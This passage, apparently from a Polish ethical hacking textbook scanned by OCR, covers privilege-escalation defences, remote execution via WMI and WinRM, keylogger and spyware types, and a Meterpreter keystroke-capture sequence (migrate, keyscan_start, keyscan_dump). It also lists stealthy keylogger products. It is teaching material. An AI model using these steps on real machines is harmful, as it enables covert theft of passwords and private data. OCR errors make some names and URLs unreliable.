z fadowaniem i wykonywaniem modutéw. Wykrywa wiele typowych problemdw z aplikacjami, takich
jak brakujgce moduty, nieprawidtowe moduty, niezgodnosci importu/eksportu, btedy cyklicznych
zaleznodci itp. Jak pokazano na zrzucie ekranu, specjalisci ds. cyberbezpieczenstwa uzywajg
Dependency Walker do weryfikacji wszystkich bibliotek DLL uzywanych przez aplikacje, lokalizacji z
ktére biblioteki DLL sg zatadowane, brakujace biblioteki DLL itp. Te informacje pomagajg specjalistom
ds. bezpieczenstwa wykrywaé, instalowac poprawki i naprawiaé zle skonfigurowane biblioteki DLL w
systemach.

Skaner przejec Dylib

Dylib Hijack Scanner (DHS) to proste narzedzie, ktére przeskanuje komputer w poszukiwaniu aplikacji,
ktére sg podatne na przejecie dylib lub zostaty przejete. Jak pokazano na zrzucie ekranu, specjalisci ds.
bezpieczenstwa uzywajg DHS do wykrywania aplikacji, ktore zostaty przejete lub sg podatne na
przejecie dylib. Te informacje pomagajg im instalowac poprawki i naprawiac te aplikacje.

Obrona przed lukami w zabezpieczeniach Spectre i Meltdown

Rozne srodki zaradcze w celu obrony przed atakami polegajgcymi na eskalacji uprawnien, ktoére
wykorzystujg luki w zabezpieczeniach Spectre i Meltdown, sg nastepujace:

* Regularnie instaluj poprawki i aktualizuj systemy operacyjne i oprogramowanie sprzetowe
* Wtacz ciggte monitorowanie krytycznych aplikacji i ustug dziatajgcych w systemie i sieci
* Regularnie tataj wrazliwe oprogramowanie, takie jak przegladarki

* Instaluj i aktualizuj programy blokujgce reklamy i oprogramowanie chronigce przed ztosliwym
oprogramowaniem, aby blokowa¢ wstrzykiwanie ztosliwego oprogramowania przez zainfekowane
strony internetowe

* Witacz tradycyjne $rodki ochrony, takie jak narzedzia zabezpieczajgce punkty koricowe, aby zapobiec
nieautoryzowanemu dostepowi do systemu

* Blokuj ustugi i aplikacje, ktore pozwalajg nieuprzywilejowanym uzytkownikom na wykonywanie kodu



* Nigdy nie instaluj nieautoryzowanego oprogramowania ani nie uzyskuj dostepu do niezaufanych
stron internetowych z systemdéw przechowujgcych poufne informacje

* Korzystaj z rozwigzan zapobiegajgcych utracie danych (DLP), aby zapobiegaé wyciekom krytycznych
informacji z pamieci uruchomieniowej

* Czesto sprawdzaj u producenta aktualizacje systemu BIOS i postepuj zgodnie z instrukcjami
dostarczonymi przez producenta, aby zainstalowac aktualizacje

Narzedzia do wykrywania luk w zabezpieczeniach Spectre i Meltdown

Specjalisci ds. bezpieczenstwa mogg korzystaé z narzedzi, takich jak InSpectre, Spectre & Meltdown
Checker, INTEL-SA-00075 Detection and Mitigation Tool itp., aby wykrywac luki w zabezpieczeniach
Spectre i Meltdown istniejgce w sprzecie systemowym. Wykrywanie tych luk przed ich wykorzystaniem
pomaga specjalistom ds. bezpieczenstwa instalowaé niezbedne poprawki systemu operacyjnego i
oprogramowania uktadowego w celu obrony przed takimi atakami.

InSpectre

InSpectre bada i ujawnia mozliwosci sprzetu i oprogramowania systemu Windows w celu zapobiegania
atakom Meltdown i Spectre. Wykrywanie tych luk na wczesnym etapie pomaga specjalistom ds.
bezpieczenstwa aktualizowac sprzet systemowy, BIOS, ktéry ponownie taduje zaktualizowane
oprogramowanie sprzetowe procesora, oraz system operacyjny, aby korzysta¢ z nowych funkcji
procesora.

Kontroler Widm i Meltdown

Spectre & Meltdown Checker to skrypt powtoki stuzgcy do okreslania, czy system jest podatny na rézne
CVE ,wykonania spekulacyjnego”. W przypadku systemdw Linux skrypt wykryje srodki zaradcze, w tym
przeniesione z powrotem poprawki inne niz waniliowe, niezaleznie od reklamowanego numeru wersji
jadra lub dystrybucji (takiej jak Debian, Ubuntu, CentOS, RHEL, Fedora, openSUSE, Arch itp.). Jak
pokazano na zrzucie ekranu, specjali$ci ds. bezpieczestwa uzywajg narzedzia Spectre & Meltdown
Checker do okreslenia, czy system jest odporny na spekulacyjne luki w zabezpieczeniach. To narzedzie
pomaga im w weryfikacji, czy system ma znane prawidtowe srodki zaradcze.



Utrzymanie dostepu

Po uzyskaniu dostepu i zwiekszeniu uprawnien w systemie docelowym atakujacy prébujg teraz
zachowac dostep do dalszego wykorzystania systemu docelowego lub uczyni¢ zaatakowany system
platformg startowa, z ktérej mozna atakowac inne systemy w sieci. Atakujgcy zdalnie uruchamiajg
ztosliwe aplikacje, takie jak keyloggery, oprogramowanie szpiegujgce i inne ztosliwe programy, aby
zachowaé dostep do systemu docelowego i wykras¢ krytyczne informacje, takie jak nazwy
uzytkownikéw i hasta. Atakujacy ukrywajg swoje ztosliwe programy lub pliki za pomocga rootkitow,
steganografii, strumieni danych NTFS itp., aby zachowaé dostep do systemu docelowego.

Wykonywanie aplikacji

Gdy atakujacy uzyskajg wyzsze uprawnienia w systemie docelowym, prébujgc réznych préb eskalacji
uprawnien, mogg podjac probe wykonania ztosliwe] aplikacji, wykorzystujac luke w zabezpieczeniach
do wykonania dowolnego kodu. Uruchamiajgc ztosliwe aplikacje, osoba atakujgca moze wykrasé dane
osobowe, uzyska¢ nieautoryzowany dostep do zasobdéw systemowych, ztamac hasta, przechwycié
zrzuty ekranu, zainstalowaé¢ backdoora w celu utrzymania fatwego dostepu itp. Na tym etapie
atakujacy uruchamiajg ztosliwe aplikacje w procesie zwanym ,posiadaniem” system. Po uzyskaniu
uprawnien administracyjnych bedg uruchamiaé aplikacje. Atakujgcy mogg nawet prébowac zrobié to
zdalnie na komputerze ofiary, aby zebra¢ te same informacje, co powyzej. Szkodliwe programy, ktére
atakujgcy wykonuja w systemach docelowych, to:

* Backdoory: Program przeznaczony do blokowania lub zaktécania operacji, zbierania informacji
prowadzgcych do wykorzystywania lub utraty prywatnosci lub uzyskiwania nieautoryzowanego
dostepu do zasobdw systemowych.

* Crackery: Komponenty oprogramowania lub programéw przeznaczonych do tamania kodu lub haset.

* Keyloggery: mogg to by¢ urzadzenia lub oprogramowanie. W obu przypadkach celem jest
rejestrowanie kazdego nacisniecia klawisza na klawiaturze komputera.

* Spyware: Oprogramowanie szpiegowskie moze przechwytywaé zrzuty ekranu i wysyta¢ je do
okreslonej lokalizacji okreslonej przez hakera. W tym celu atakujgcy muszg utrzymywaé dostep do



komputeréw ofiar. Po uzyskaniu wszystkich wymaganych informacji z komputera ofiary, atakujgcy
instaluje kilka backdooroéw, aby zapewnic tatwy dostep do niego w przysztosci.

Techniki zdalnego wykonywania kodu

Techniki zdalnego wykonywania kodu to rdéine taktyki, ktore atakujgcy mogg wykorzystaé do
wykonania ztosliwego kodu w systemie zdalnym. Techniki te sg czesto wykonywane po wstepnym
wtamaniu sie do systemu i dalszym rozszerzeniu dostepu do zdalnych systemdéw obecnych w sieci
docelowej. Niektére przyktady technik zdalnego wykonywania kodu sg nastepujace:

Wykorzystanie do realizacji klienta

Niepewne praktyki kodowania w oprogramowaniu mogg narazi¢ je na rézne ataki. Atakujacy moga
wykorzystac te luki w zabezpieczeniach oprogramowania poprzez skoncentrowane i ukierunkowane
dziatania majace na celu wykonanie dowolnego kodu w celu utrzymania dostepu do docelowego
systemu zdalnego. Rézne rodzaje wykorzystania do wykonania klienta sg nastepujace:

o Eksploatacja oparta na przegladarce internetowe;j

Atakujacy atakujg przegladarki internetowe za pomocg tgczy typu spear phishing i atakéw typu drive-
by. Zdalne systemy mogg zostaé¢ naruszone poprzez normalne przegladanie sieci lub przez kilku
uzytkownikéw, ktérzy sg ofiarami spear phishingu, prowadzgcych do stron kontrolowanych przez
atakujacych, wykorzystywanych do wykorzystywania przegladarki internetowej. Ten rodzaj
wykorzystania nie wymaga interwencji uzytkownika do wykonania.

o Eksploatacja oparta na aplikacjach pakietu Office

Atakujacy atakujg popularne aplikacje biurowe, takie jak Microsoft Office, poprzez rézne warianty
spear phishingu. Wiadomosci e-mail zawierajace tgcza do ztosliwych plikdw s3

o Eksploatacja oparta na aplikacjach stron trzecich

Atakujgcy mogg réwniez wykorzystywaé¢ powszechnie uzywane aplikacje innych firm, ktére s3
wdrazane jako czes¢ oprogramowania. Aplikacje takie jak Adobe Reader, Flash itp. sg zwykle celem
atakujacych w celu uzyskania dostepu do systemodw zdalnych.

Wykonanie ustugi

Ustugi systemowe to programy dziatajgce na zapleczu systemu operacyjnego. Atakujgcy uruchamiajg
pliki binarne lub polecenia, ktére mogg komunikowaé sie z ustugami systemu Windows, takimi jak
Service Control Manager. Ta technika wykonania kodu jest wykonywana poprzez utworzenie nowe;j
ustugi lub modyfikacje istniejacej ustugi w momencie zwiekszania uprawnien lub utrzymywania
dostepu.

Instrumentacja zarzagdzania Windows (WMI)

WMI to funkcja administracji systemu Windows, ktéra zarzadza danymi i operacjami w systemie
Windows oraz zapewnia platforme do lokalnego i zdalnego dostepu do zasobdéw systemu Windows.
Atakujacy moga uzywac funkcji WMI do zdalnej interakcji z systemem docelowym, zbierania informacji
0 zasobach systemowych i dalszego wykonywania kodu w celu utrzymania dostepu do systemu
docelowego. Atakujgcy wykorzystujg WMI do wykonywania ruchdw poprzecznych z zaatakowanego
systemu. Atakujacy wykorzystujg te funkcje do podnoszenia uprawnien i uzyskiwania praw dostepu w
innych systemach sieciowych. Ustuga WMI pomaga atakujgcym uzyskaé zarowno lokalny, jak i zdalny
dostep za posrednictwem zdalnych ustug WMI, takich jak Distributed Component Object Model



(DCOM) przez port 135 i Windows Remote Management (WinRM) przez porty HTTP 5985 i HTTPS port
5986. Korzystajac z ustugi WMI, osoby atakujgce moga réwniez komunikowac sie z zdalne systemy i
uruchamiacd ztosliwe pliki, aby zachowac trwatos¢ i przenosi¢ sie w bok.

Zdalne zarzadzanie systemem Windows (WinRM)

WinRM to oparty na systemie Windows protokét zaprojektowany w celu umozliwienia uzytkownikowi
uruchomienia pliku wykonywalnego w celu zmodyfikowania ustug systemowych i rejestru w systemie
zdalnym. Atakujgcy mogg uzy¢ polecenia winrm do interakcji z WinRM i wykonania tadunku w systemie
zdalnym w ramach ruchu poprzecznego.

Narzedzia do uruchamiania aplikacji

Narzedzia uzywane do zdalnego uruchamiania aplikacji pomagajg atakujgcym w wykonywaniu réznych
ztosliwych dziatan na systemach docelowych. Po uzyskaniu uprawnien administracyjnych osoby
atakujgce uzywaja tych narzedzi do instalowania, uruchamiania, usuwania i/lub modyfikowania
ograniczonych zasobdéw na zaatakowanej maszynie.

Zdalne wsparcie Dameware

Dameware Remote Support to narzedzie do zdalnego sterowania i zarzagdzania systemami, ktére
upraszcza zdalng administracje systemem Windows, zapewnia wbudowane narzedzia do zdalnej
administracji i zdalnie zarzgdza Srodowiskiem Active Directory (AD). Niektére narzedzia do zwiekszania
uprawnien sg wymienione w nastepujgcy sposob:

Ninja ( https://github.com)

Pupy ( https://github.com)

PDQ Deploy ( https://www.pdg.com)

ManageEngine Desktop Central ( https://www.monogeengine.com)
PsExec ( https://docs.microsoft.com)

Keylogger

Keyloggery to programy lub urzadzenia sprzetowe, ktére rejestrujg naciskanie klawiszy na klawiaturze
komputera (zwane rowniez rejestrowaniem nacisnie¢ klawiszy) pojedynczego uzytkownika komputera
lub sieci komputeréw. Mozesz zobaczy¢ wszystkie nacisniecia klawiszy komputera ofiary w dowolnym
momencie w swoim systemie, instalujgc to urzadzenie sprzetowe lub program. Rejestruje prawie
wszystkie nacisniecia klawiszy na klawiaturze uzytkownika i zapisuje zarejestrowane informacje w pliku
tekstowym. Poniewaz keyloggery ukrywajg swoje procesy i interfejs, cel nie jest swiadomy keyloggera.
Biura i branze uzywajg keyloggeréw do monitorowania dziatann komputerowych pracownikéw, a takze
moga by¢ uzywane w srodowisku domowym, aby rodzice monitorowali aktywnos$¢ dzieci w Internecie.
Keylogger, gdy jest powigzany z oprogramowaniem szpiegujacym, pomaga przesyta¢ informacje o
uzytkowniku do nieznanej strony trzeciej. Atakujgcy uzywajg go nielegalnie do ztosliwych celéw, takich
jak kradziez wrazliwych i poufnych informacji o ofiarach. Te poufne informacje obejmujg identyfikatory
e-mail, hasta, dane bankowe, aktywnosé¢ w pokoju rozmoéw, czat internetowy (IRC), wiadomosci
btyskawiczne oraz numery bankéw i kart kredytowych. Dane przesytane przez zaszyfrowane potaczenie
internetowe sg rowniez podatne na keylogger, poniewaz keylogger $ledzi nacis$niecia klawiszy przed
zaszyfrowaniem. Program keylogger jest instalowany w systemie uzytkownika w sposdb niewidoczny
poprzez zatgczniki wiadomosci e-mail lub pliki do pobrania , drive-by”, gdy uzytkownicy odwiedzaja
okreslone strony internetowe. Fizyczne rejestratory nacisnie¢ klawiszy ,siedzg” miedzy klawiatura a



systemem operacyjnym, dzieki czemu mogg pozostaé niewykryte i rejestrowac kazde nacisniecie
klawisza.

Keylogger moze:
* Rejestrowac kazde nacisniecie klawisza na klawiaturze uzytkownika

e Wykonadj zrzuty ekranu w regularnych odstepach czasu, pokazujgce aktywnos¢ uzytkownika, taka
jak wpisywane znaki lub klikane przyciski myszy

e Sledzi¢ dziatania uzytkownikéw, rejestrujgc tytuty okien, nazwy uruchamianych aplikacji i inne
informacje

e Monitorowa¢ aktywnos$¢ online uzytkownikéw, rejestrujgc adresy odwiedzanych stron i
wprowadzane stowa kluczowe

e Zapisac¢ wszystkie nazwy logowania, numery bankowe i karty kredytowe oraz hasta, w tym ukryte
hasta lub dane wyswietlane w gwiazdkach lub pustych miejscach

e Nagrywac rozmowy na czacie online

* Robi nieautoryzowane kopie zaréwno wychodzacych, jak i przychodzacych wiadomosci e-mail

Rodzaje rejestratorow nacisniec klawiszy

Keylogger to program sprzetowy lub programowy, ktéry w dowolnym momencie potajemnie rejestruje
kazde nacisniecie klawisza na klawiaturze uzytkownika. Keyloggery zapisujg przechwycone nacisniecia
klawiszy w pliku do péZniejszego odczytania lub przesytajg je do miejsca, w ktdrym osoba atakujgca
moze uzyska¢ do nich dostep. Poniewaz programy te rejestrujg wszystkie nacisniecia klawiszy
wprowadzane za pomocg klawiatury, mogg przechwytywac hasta, numery kart kredytowych, adresy e-
mail, nazwiska, adresy pocztowe i numery telefonéw. Keyloggery mogg przechwytywac informacje
przed ich zaszyfrowaniem. Daje to atakujgcemu dostep do haset i innych ,,dobrze ukrytych” informacji.

Istniejg dwa rodzaje rejestratorow nacisnie¢ klawiszy: sprzetowe rejestratory klawiszy i programowe
rejestratory klawiszy. Oba typy pomagajg atakujgcym rejestrowaé wszystkie nacisniecia klawiszy w
systemie docelowym.

* Sprzetowe rejestratory nacisnieé klawiszy

Keyloggery sprzetowe to urzadzenia sprzetowe, ktére wygladajg jak zwykte dyski USB. Atakujgcy moga
podtgczyé te keyloggery miedzy wtyczka klawiatury a gniazdem USB. Wszystkie nacisniecia klawiszy
przez uzytkownika sg przechowywane w jednostce sprzetowej. Atakujgcy odzyskujg te jednostke
sprzetowg, aby uzyskac dostep do zapisanych w niej nacisnie¢ klawiszy. Ich wadg jest tatwe wykrycie
ich fizycznej obecnosci. Istniejg trzy gtdwne typy sprzetowych rejestratorow nacisnie¢ klawiszy:

o Wbudowany PC/BIOS

Oprogramowanie uktadowe na poziomie systemu BIOS, ktdre jest odpowiedzialne za zarzadzanie
dziataniami klawiatury, mozna zmodyfikowa¢ w taki sposdb, aby przechwytywato wpisywane
nacisniecia klawiszy. Wymaga dostepu fizycznego i/lub administratora do komputera docelowego.

Klawiatura Keyloggera



Jesli obwdd sprzetowy jest podtgczony do ztgcza kabla klawiatury, moze przechwytywac nacisniecia
klawiszy. Zapisuje wszystkie nacisniecia klawiszy we wtasnej pamieci wewnetrznej, do ktérej mozna
pdzniej uzyska¢ dostep. Giéwng zaletg keyloggera sprzetowego w pordwnaniu z keyloggerem
programowym jest to, ze nie jest zalezny od systemu operacyjnego, a zatem nie bedzie kolidowat z
zadnymi aplikacjami dziatajgcymi na komputerze docelowym, a wykrycie keyloggeréw sprzetowych za
pomoca jakiegokolwiek oprogramowania anty-keyloggera jest niemozliwe.

o Zewnetrzny keylogger

Zewnetrzne keyloggery sg podtgczane miedzy standardowa klawiaturg PC a komputerem. Rejestrujg
kazde nacisniecie klawisza. Zewnetrzne keyloggery nie potrzebujg zadnego oprogramowania i
wspotpracujg z kazdym komputerem. Mozesz podtaczy¢ jeden do komputera docelowego i
monitorowac zapisane informacje na komputerze, aby przegladac¢ nacisniecia klawiszy. Istniejg cztery
rodzaje zewnetrznych keyloggerdow:

e PS/2 i USB Keylogger: Jest catkowicie przezroczysty dla dziatania komputera i nie wymaga zadnego
oprogramowania ani sterownikow do dziatania. Rejestruje wszystkie nacisniecia klawiszy wpisane
przez uzytkownika na klawiaturze komputera i przechowuje dane, takie jak e-maile, zapisy rozmoéw,
uzywane aplikacje, wiadomosci iM itp.

e Acoustic/CAM  Keylogger: Akustyczne keyloggery dziatajg na zasadzie konwersji
elektromagnetycznych fal dzwiekowych na dane. Wykorzystujg albo odbiornik przechwytujacy, ktéry
moze konwertowac diwieki elektromagnetyczne na dane nacisniecia klawisza, albo CAM (kamere)
zdolng do nagrywania zrzutéw ekranu z klawiatury.

¢ Bluetooth Keylogger: Wymaga fizycznego dostepu do komputera docelowego tylko raz, podczas
instalacji. Po zainstalowaniu na komputerze docelowym, przechowuje wszystkie nacisniecia klawiszy i
mozesz pobrac¢ informacje o nacisnieciach klawiszy w czasie rzeczywistym, tgczac sie przez urzadzenie
Bluetooth.

* Keylogger Wi-Fi: Oprécz standardowej funkcjonalnosci keyloggera PS/2 i USB, umozliwia zdalny
dostep przez Internet. Ten bezprzewodowy keylogger pofaczy sie z lokalnym punktem dostepowym
Wi-Fi i wysle e-maile zawierajgce zarejestrowane dane nacisnie¢ klawiszy. Mozesz takze potgczy¢ sie z
keyloggerem w dowolnym momencie przez TCP/IP i przeglgdaé przechwycony dziennik.

Programowe rejestratory nacisnie¢ klawiszy

Te rejestratory to oprogramowanie instalowane zdalnie przez sie¢ lub zatgcznik e-mail w systemie
docelowym w celu rejestrowania wszystkich nacisnie¢ klawiszy. Tutaj zarejestrowane informacje s3
przechowywane jako plik dziennika na dysku twardym komputera. Rejestrator wysyta dzienniki
nacisnie¢ klawiszy do atakujgcego za pomocy protokotdw e-mail. Rejestratory programowe czesto
moga rowniez uzyskiwaé¢ dodatkowe dane, poniewaz nie majg ograniczen alokacji pamieci fizycznej,
tak jak sprzetowe rejestratory nacisnie¢ klawiszy. Istniejg cztery typy programowych rejestratoréw
nacisnie¢ klawiszy:

o Application Keylogger

Keylogger aplikacji pozwala obserwowac wszystko, co uzytkownik wpisuje w swoich e-mailach, czatach
i innych aplikacjach, w tym hasta. Mozliwe jest nawet przesledzenie zapiséw aktywnosci w Internecie.
Jest to niewidzialny keylogger do sledzenia i rejestrowania wszystkiego, co dzieje sie w catej sieci.

o Keylogger jadra/rootkita/sterownika urzadzenia



Atakujacy rzadko uzywaja keyloggeréw jadra, poniewaz sg one trudne do napisania i wymagajg
wysokiego poziomu biegtosci od twércoéw keyloggerow. Te keyloggery istniejg na poziomie jadra. W
zwigzku z tym sg one trudne do wykrycia, zwtaszcza w przypadku aplikacji w trybie uzytkownika. Ten
rodzaj keyloggera dziata jako sterownik urzgdzenia klawiatury i tym samym uzyskuje dostep do
wszystkich informacji wpisywanych na klawiaturze. Keylogger oparty na rootkitach to sfatszowany
sterownik urzadzenia Windows, ktéry rejestruje wszystkie nacisniecia klawiszy. Ten keylogger ukrywa
sie przed systemem i jest niewykrywalny, nawet przy uzyciu standardowych lub dedykowanych
narzedzi. Ten rodzaj keyloggera zwykle dziata jako sterownik urzadzenia. Keylogger sterownika
urzadzenia zastepuje istniejgcy sterownik I/0 wbudowang funkcjg keyloggera. Ten keylogger zapisuje
wszystkie nacisniecia klawiszy wykonywane na komputerze w ukrytym pliku logowania, a nastepnie
wysyta plik do miejsca docelowego przez Internet.

o Keylogger oparty na hiperwizorze

Keylogger oparty na hiperwizorze dziata w hiperwizorze ztodliwego oprogramowania dziatajgcym w
systemie operacyjnym.

o Keylogger oparty na przechwytywaniu formularzy

Keylogger oparty na przechwytywaniu formularzy rejestruje dane formularzy internetowych, a
nastepnie przesyta je przez Internet, po pominieciu szyfrowania HTTPS. Keyloggery oparte na
przechwytywaniu formularzy rejestrujg dane wejsciowe z formularzy internetowych, rejestrujac
przegladanie sieci za pomocg funkcji ,,przeslij zdarzenie”.

Keylogger oparty na JavaScript

Atakujgcy umieszczajg ztosliwe tagi JavaScript na stronie internetowej zaatakowanej witryny, aby
nastuchiwac¢ kluczowych zdarzen, takich jak onKeyUp() i onKeyDown(). Atakujacy uzywajg réznych
technik, takich jak man-in-the-browser/manipulator-in-the-browser, crosssite scripting itp., aby
wstrzykng¢ ztosliwy skrypt.

Keylogger oparty na wstrzykiwaniu pamieci

Keyloggery oparte na wstrzykiwaniu pamieci modyfikujg tabele pamieci powigzane z przegladarka
internetowa i funkcjami systemowymi w celu rejestrowania nacisniec¢ klawiszy. Atakujgcy wykorzystujg
te technike rowniez do obejscia UAC w systemach Windows.

Zdalny atak keyloggera przy uzyciu Metasploit

Atakujgcy moga uzyskac zdalny dostep do komputera ofiary, ale nie mogg uzyska¢ dostepu do
okreslonych folderow lub plikéw zabezpieczonych silnymi hastami. Aby wykras¢ tak ztozone hasta z
maszyny docelowej, osoby atakujgce muszg zainstalowa¢ i uruchomi¢ keylogger w celu
przechwytywania wpiséw z klawiatury. W tym celu osoby atakujgce wykorzystujg narzedzia takie jak
Metasploit do uruchamiania trwatego keyloggera.

Ustanowienie keyloggera za pomocg Metasploit

Na wykorzystanym komputerze z systemem Windows osoby atakujgce ustanawiajg sesje Meterpretera
i wykonuja nastepujgce kroki.

* Uzyj polecenia ps, aby uzyskac liste uruchomionych proceséw i ich identyfikatory proceséw (PID) w
systemie docelowym.



* Aby unikngé¢ zamkniecia i ponownego zainicjowania trwajgcego procesu wykorzystania, osoby
atakujgce migrujg swaj biezgcy PID do dziatajgcego procesu (tutaj explorer.exe).

getpid
migrate <PID>
* Uzyj polecenia Keyscan_start, aby zainicjowac rzeczywisty proces keyloggera w systemie docelowym.

* Teraz uzyj polecenia Keyscan_dump, aby wykry¢ naci$niecia klawiszy uzytkownika na komputerze
docelowym. To polecenie zrzuca wszystkie wgchane nacisniecia klawiszy i wyswietla je na konsoli. Uzyj
polecenia keyscan_stop, aby zatrzymac wachanie nacisnie¢ klawiszy.

Atakujgcy moga réwniez zautomatyzowac caty proces wachania i zrzucania danych za pomocg exploita
Metasploit lockout_keylogger.

Keyloggery sprzetowe

Przyjrzymy sie teraz szczegétom zewnetrznych keyloggerdw sprzetowych. Jak wspomniano wczesniej,
na rynku dostepne sg rdoine rodzaje zewnetrznych keyloggeréw sprzetowych. Te keyloggery s3
podtgczane miedzy klawiaturg a komputerem. Do tego typu keyloggerdw naleza:

- Keylogger PS/2

- Keylogger USB

- Keylogger Wi-Fi

- Keylogger wbudowany w klawiature
- Keylogger Bluetooth

- Keylogger sprzetowy

Te keyloggery monitorujg i przechwytujg nacisniecia klawiszy w systemie docelowym. Poniewaz te
zewnetrzne keyloggery podtaczajg sie miedzy zwykta klawiaturg PC a komputerem w celu
rejestrowania kazdego nacisniecia klawisza, pozostang niewykrywalne przez anty-keyloggery
zainstalowane w systemie docelowym. Jednak uzytkownik moze tatwo wykry¢ ich fizyczng obecnosé.
Keyloggery sprzetowe pochodzg od wielu producentéw i dostawcdw, z ktérych niektére sg omoéwione
W hastepujacy sposdb:

KeyGrabber

Keylogger sprzetowy KeyGrabber to urzadzenie elektroniczne zdolne do przechwytywania nacisnieé
klawiszy z klawiatury PS/2 lub USB. Wystepuje w réznych formach, takich jak KeyGrabber USB,
KeyGrabber PS/2 i KeyGrabber Nano Wi-Fi.

Niektore keyloggery sprzetowe sg wymienione w nastepujgcy sposdb:
* KeyGrabber USB (http://www.keelog.com)

e KeyCarbon (https://keycarbon.com)

* Rejestrator klawiatury (https://www.detective-store.com)

e KeyGhost (http://www.keyghost.com)

e KEYKatcher (https://keykatcher.com)



Keyloggery dla systemu Windows

Oprécz wspomnianych wczesniej keyloggeréw, na rynku dostepnych jest wiele keyloggeréw
programowych; mozesz uzy¢ tych narzedzi do rejestrowania nacisnie¢ klawiszy i monitorowania
aktywnosci uzytkownikéw komputera. Niektére keyloggery s3 omdwione w nastepujacy sposéb.
Mozesz pobrac te narzedzia z odpowiednich stron internetowych.

Darmowy keylogger Spyrix

Spyrix Keylogger Free stuzy do zdalnego monitorowania na komputerze, ktére obejmuje nagrywanie
nacisnie¢ klawiszy, haset i zrzutdw ekranu. Ten keylogger jest doskonale ukryty przed
oprogramowaniem antywirusowym, anty-rootkitowym i anty-spyware. Atakujgcy uzywajg narzedzia
Spyrix Keylogger Free do rejestrowania wszystkich nacisnie¢ klawiszy w systemie ofiary ze zdalnego
systemu. Niektdre keyloggery dla systemu Windows sg wymienione w nastepujacy sposéb:

-Monitor osobisty REFOG (https://www.refog.com)
-All In One Keylogger (https://www.relytec.com)
-Elite Keylogger (https://www.elitekeyloggers.com)
-Standard StaffCop (https://www.stoffcop.com)
-Spytector (https://www.spytector.com)
Keyloggery dla systemu macOS

Na rynku dostepne sg rdzne keyloggery dziatajgce w systemie macOS. Umozliwiajg rejestrowanie
wszystkiego, co uzytkownik robi na komputerze, na przyktad rejestrowanie nacisnie¢ klawiszy,
nagrywanie komunikacji e-mail, wiadomosci na czacie, robienie zrzutéw ekranu kazdej czynnosci i nie
tylko. W systemie macOS uzywane sg nastepujgce rejestratory nacisnie¢ klawiszy:

Refog Keyloggera Maca

Refog Mac Keylogger zapewnia niewykrywalny nadzdr i rejestruje wszystkie nacisniecia klawiszy na
komputerze. Jak pokazano na zrzucie ekranu, osoby atakujgce uzywajg programu Refog Mac Keylogger
do rejestrowania wszystkich dziatan docelowego uzytkownika i kradziezy krytycznych informaciji, takich
jak dane logowania. Niektdre keyloggery dla komputeréw Mac sg wymienione w nastepujgcy sposéb:

Spyrix Keylogger dla Mac OS (https://www.spyrix.com)

Elite Keylogger dla komputeréw Mac ( https://www.elite-keylogger.net )
Aobo Mac OS X Keylogger (https://www.eosemon.com)

KidLogger dla MAC (https://kidlogger.net)

Idealny Keylogger dla komputeréw Mac (https://www.blozingtools.com)

Programy szpiegujace

Spyware to ukryte oprogramowanie do monitorowania komputera, ktére umozliwia potajemne
rejestrowanie wszystkich dziatan uzytkownika na komputerze docelowym. Automatycznie dostarcza
logi do zdalnego atakujgcego za pomocg Internetu (poprzez e-mail, FTP, polecenia i kontrole poprzez
szyfrowany ruch, HTTP, DNS itp.). Dzienniki dostarczania zawierajg informacje o wszystkich obszarach



systemu, takich jak wystane e-maile, odwiedzane strony internetowe, kazde nacisniecie klawisza (w
tym loginy/hasta do Gmaila, Facebooka, Twittera, LinkedIn itp.), operacje na plikach i rozmowy na
czacie online. Wykonuje réwniez zrzuty ekranu w okreslonych odstepach czasu, podobnie jak kamera
monitorujgca skierowana na monitor komputera. Oprogramowanie szpiegujgce jest podobne do konia
trojanskiego, ktory zwykle jest dotgczany jako ukryty sktadnik oprogramowania freeware lub
oprogramowania pobieranego z Internetu. Ukrywa swdj proces, pliki i inne obiekty, aby unikngé
wykrycia i usuniecia. Pozwala to atakujgcemu zebraé informacje o ofierze lub organizacji, takie jak
adresy e-mail, loginy uzytkownikdéw, hasta, numery kart kredytowych, dane bankowe itp.

Rozpowszechnianie oprogramowania szpiegujacego

Jak sama nazwa wskazuje, oprogramowanie szpiegujgce jest instalowane bez wiedzy i zgody
uzytkownika, a mozna to osiggnac poprzez ,podpiecie” oprogramowania szpiegujgcego do innych
aplikacji. Jest to mozliwe, poniewaz spyware wykorzystuje reklamowe pliki cookie, ktdre sg jedna z
podklas spyware. Oprogramowanie szpiegujgce moze rowniez wptywaé na system, gdy odwiedzasz
witryne dystrybucji oprogramowania szpiegujgcego. Poniewaz instaluje sie, gdy odwiedzasz i klikasz
co$ na stronie internetowej, proces ten jest znany jako , pobieranie drive-by”. W wyniku normalnych
czynnosci zwigzanych z przeglagdaniem stron internetowych lub pobieraniem, system moze
nieumyslnie zosta¢ zainfekowany oprogramowaniem szpiegujgcym. Moze nawet podszywac sie pod
anty-spyware i uruchamiajg sie na komputerze uzytkownika bez powiadomienia, gdy tylko uzytkownik
pobiera i instaluje programy dotaczone do spyware.

Co robi oprogramowanie szpiegujgce?

Omowilismy juz program szpiegujacy i jego gtéwng funkcje polegajaca na obserwowaniu dziatan
uzytkownika na komputerze docelowym. Wiemy réwniez, ze gdy atakujgcemu uda sie zainstalowac
oprogramowanie szpiegujgce na komputerze ofiary przy uzyciu omodwionych wczesniej technik
rozprzestrzeniania, moze wykonac kilka ofensywnych dziatan na komputerze ofiary. Dlatego teraz
dowiedzmy sie wiecej o mozliwosciach oprogramowania szpiegujacego, poniewaz jesteSmy teraz
Swiadomi jego zdolnosci do monitorowania dziatan uzytkownika. Zainstalowane oprogramowanie
szpiegujace moze rowniez pomédc osobie atakujgcej wykonac¢ nastepujgce czynnosci na komputerach
docelowych:

o Kradnie dane osobowe uzytkownikéw i wysyta je do zdalnego serwera lub porywacza

o Monitoruje aktywnos¢ online uzytkownikow

o Wyswietla irytujgce wyskakujgce okienka

o Przekierowuje przegladarke internetowa na strony reklamowe

0 Zmienia domyslne ustawienia przegladarki i uniemozliwia ich przywrdécenie przez uzytkownika
o Dodaje kilka zaktadek do listy ulubionych przegladarki

0 Zmniejsza ogdlny poziom bezpieczeristwa systemu

0 Zmniejsza wydajnos¢ systemu i powoduje niestabilno$é oprogramowania

o taczy sie ze zdalnymi stronami pornograficznymi

o Umieszcza na pulpicie skréty do ztosliwych witryn spyware

o Kradnie hasta



o Wysyta ukierunkowane wiadomosci e-mail

0 Zmienia strone gtdwng i uniemozliwia uzytkownikowi jej przywrdcenie

o Modyfikuje biblioteki dotgczane dynamicznie (DLL) i spowalnia przeglagdarke
0 Zmienia ustawienia zapory

o Monitoruje i raportuje odwiedzane strony internetowe

